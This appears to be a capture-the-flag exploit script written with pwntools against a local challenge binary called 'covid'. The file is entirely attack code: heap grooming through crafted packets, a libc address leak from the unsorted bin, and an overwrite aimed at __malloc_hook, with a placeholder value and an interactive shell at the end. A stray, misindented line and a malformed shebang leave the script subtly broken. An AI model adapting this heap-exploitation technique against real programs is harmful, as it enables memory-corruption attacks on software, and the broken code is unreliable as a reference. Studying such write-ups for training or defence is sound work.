covid_expl.py

!/usr/bin/python3
from pwn import *
from time import sleep
import random

#Utils
def newtab():
	port = random.randint(3000,6000)
	handler = listen(port)
	io.sendlineafter('>> ','N')
	io.sendlineafter(': ','localhost')
	io.sendlineafter(': ',str(port))
	return handler

def viewtab(idx):
	io.sendlineafter('>> ','V')
	io.sendlineafter('>> ',str(idx))
	data = io.recvline().strip()
	data2 = io.recvline().strip()
	return data,data2

def closetab(idx):
	io.sendlineafter('>> ','C')
	io.sendlineafter('>> ',str(idx))

def packet(size1, size2, data1, data2,fuck='A'):
	return p32(size1)+\
		p32(size2)+\
		data1.ljust(size1,fuck)+\
		data2.ljust(size2,fuck)
#Global
host = 'localhost'

#Addr
unsorted_bin_addr = 0x3c4b78
__malloc_hook = 0x3c4b10

#Exploit
if __name__ == '__main__':
	io = process('./covid')

	io.sendlineafter('explore\n','HK')
	tab0 = newtab()
	tab0.send(packet(0x17,0x17,'A'*0x17,'B'*0x17))
	tab1 = newtab()
	tab1.send(packet(0x17,0x17,'A'*0x17,'B'*0x17))
	closetab(0)
	closetab(1)
	tab0 = newtab()
	tab0.send(packet(0x107,0x17,'HK','HK'))
	tab1 = newtab()
	tab1.send(packet(0x67,0x17,'HK','HK'))
	tab2 = newtab()
	tab2.send(packet(0x107,0x17,'A'*0xf8+p64(0x11),'HK'))
	tab3 = newtab()
	tab3.send(packet(0x17,0x17,'HK','HK'))

	closetab(0)
	closetab(1)
	tab0 = newtab()
	tab0.send(packet(0x68,0x17,'A'*0x60+p64(0x180),'HK'))
	closetab(2)
	tab1 = newtab()
	tab1.send(packet(0x107,0x17,'HK','HK'))	
	unsorted_bin = u64(viewtab(0)[0].ljust(8,'\x00'))
	libc_base = unsorted_bin - unsorted_bin_addr
	print(hex(libc_base))

	tab2 = newtab()
	tab2.send(packet(0x67,0x17,'HK','HK'))
	closetab(3)
	tab3 = newtab()
	tab3.send(packet(0x67,0x17,'HK','HK'))
		
	closetab(2)
	closetab(3)
	closetab(0)
	tab0 = newtab()
	tab0.send(packet(0x67,0x17,p64(libc_base+__malloc_hook-0x23),'HK'))
	tab2 = newtab()
	tab2.send(packet(0x67,0x67,'HK','HK'))
	tab3 = newtab()
	tab3.send(packet(0x67,0x17,'AAA'+p64(0x0)+p64(0)+p64(0x414141414141),'AAA',fuck='\x00'))
							    '__malloc_hook'
	closetab(0)
#	pause()
	tab3 = newtab()
	tab3.send(packet(0x11,0x11,'HK','HK',fuck='A'))
		
	io.interactive()